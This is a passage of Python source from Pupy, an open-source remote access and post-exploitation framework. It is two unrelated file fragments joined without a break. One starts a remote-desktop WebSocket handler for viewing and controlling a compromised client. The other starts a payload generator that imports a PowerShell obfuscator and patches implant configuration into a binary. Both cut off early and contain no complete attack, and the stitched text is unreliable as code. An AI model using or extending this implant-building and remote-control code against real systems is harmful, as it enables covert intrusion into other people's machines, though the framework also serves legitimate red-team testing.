# -*- coding: utf-8 -*- # Copyright (c) 2017, Nicolas VERDIER ([email protected]) # Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms import base64 import subprocess import time import threading import json from pupylib.PupyModule import PupyModule, config, PupyArgumentParser from pupylib.PupyWeb import RequestHandler, WebSocketHandler, tornado from pupylib.PupyLogger import getLogger logger = getLogger('rdesktop') __class_name__ = "RemoteDesktopModule" class RdesktopWebSocketHandler(WebSocketHandler): def initialize(self, client, refresh_interval, module, **kwargs): self.client = client self.refresh_interval = refresh_interval self.remote_streamer = None self.module = module self.events_thread = None self.stop_events_thread = threading.Event() self.mouse_pos = None self.mouse_lock = threading.Lock() super(RdesktopWebSocketHandler, self).initialize(**kwargs)
from pupylib.PupyLogger import getLogger from network.conf import transports, launchers from network.lib.base_launcher import LauncherError from scriptlets.scriptlets import ScriptletArgumentError from modules.lib.windows.powershell import obfuscatePowershellScript from pupylib.PupyCredentials import Credentials, EncryptionError import marshal import scriptlets import cPickle import base64 import os import pylzma import struct logger = getLogger('gen') HARDCODED_CONF_SIZE=65536 def get_edit_binary(path, conf, compressed_config=True, debug=False): logger.debug("generating binary %s with conf: %s"%(path, conf)) binary=b"" with open(path, 'rb') as f: binary=f.read() i=0 offsets=[] while True: i=binary.find("####---PUPY_CONFIG_COMES_HERE---####\n", i+1) if i==-1: break offsets.append(i)